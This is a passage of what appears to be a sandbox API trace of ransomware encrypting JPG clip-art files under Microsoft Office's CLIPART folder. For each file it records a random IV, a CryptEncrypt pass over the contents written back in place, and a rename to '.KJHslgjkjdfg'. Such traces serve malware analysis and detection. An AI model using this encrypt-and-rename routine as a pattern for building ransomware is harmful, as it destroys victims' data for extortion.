pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.925] GetProcessHeap () returned 0x2a0000 [0183.925] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.925] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.925] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.925] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.925] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.925] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.926] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a9ed, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a9ed, lpOverlapped=0x0) returned 1 [0183.928] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a9f0, dwBufLen=0x1a9f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a9f0) returned 1 [0183.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.929] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a9f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a9f0, lpOverlapped=0x0) returned 1 [0183.930] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.930] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.930] SetEndOfFile (hFile=0x114) returned 1 [0183.934] GetProcessHeap () returned 0x2a0000 [0183.934] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.934] GetProcessHeap () returned 0x2a0000 [0183.934] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.kjhslgjkjdfg")) returned 1 [0183.936] CloseHandle (hObject=0x114) returned 1 [0183.937] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1 [0183.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.938] GetProcessHeap () returned 0x2a0000 [0183.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.938] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0183.941] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.941] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.941] GetProcessHeap () returned 0x2a0000 [0183.941] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.941] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.941] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.941] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.941] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.941] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.941] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.941] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.942] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.942] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.942] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.942] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.942] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x193e7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x193e7, lpOverlapped=0x0) returned 1 [0183.944] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x193f0, dwBufLen=0x193f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x193f0) returned 1 [0183.946] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.946] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x193f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x193f0, lpOverlapped=0x0) returned 1 [0183.947] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x194c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.947] SetEndOfFile (hFile=0x114) returned 1 [0183.951] GetProcessHeap () returned 0x2a0000 [0183.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.951] GetProcessHeap () returned 0x2a0000 [0183.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.kjhslgjkjdfg")) returned 1 [0183.953] CloseHandle (hObject=0x114) returned 1 [0183.953] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1 [0183.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.956] GetProcessHeap () returned 0x2a0000 [0183.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.956] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.956] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.956] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.959] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.959] GetProcessHeap () returned 0x2a0000 [0183.959] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.959] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.960] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.960] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.960] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14f8a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14f8a, lpOverlapped=0x0) returned 1 [0183.962] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14f90, dwBufLen=0x14f90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14f90) returned 1 [0183.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.963] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14f90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14f90, lpOverlapped=0x0) returned 1 [0183.963] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.963] SetEndOfFile (hFile=0x114) returned 1 [0183.967] GetProcessHeap () returned 0x2a0000 [0183.967] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.967] GetProcessHeap () returned 0x2a0000 [0183.968] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.kjhslgjkjdfg")) returned 1 [0183.969] CloseHandle (hObject=0x114) returned 1 [0183.969] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1 [0183.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.972] GetProcessHeap () returned 0x2a0000 [0183.972] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.972] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.972] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0183.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.975] GetProcessHeap () returned 0x2a0000 [0183.975] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.975] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.975] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.975] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.976] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a3f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a3f4, lpOverlapped=0x0) returned 1 [0183.978] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a400, dwBufLen=0x1a400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a400) returned 1 [0183.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.980] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a400, lpOverlapped=0x0) returned 1 [0183.980] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.980] SetEndOfFile (hFile=0x114) returned 1 [0183.984] GetProcessHeap () returned 0x2a0000 [0183.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.984] GetProcessHeap () returned 0x2a0000 [0183.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.kjhslgjkjdfg")) returned 1 [0183.985] CloseHandle (hObject=0x114) returned 1 [0183.985] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1 [0183.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.986] GetProcessHeap () returned 0x2a0000 [0183.986] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.986] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0183.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.988] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.988] GetProcessHeap () returned 0x2a0000 [0183.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.988] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.988] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.988] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.988] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.989] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.989] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, 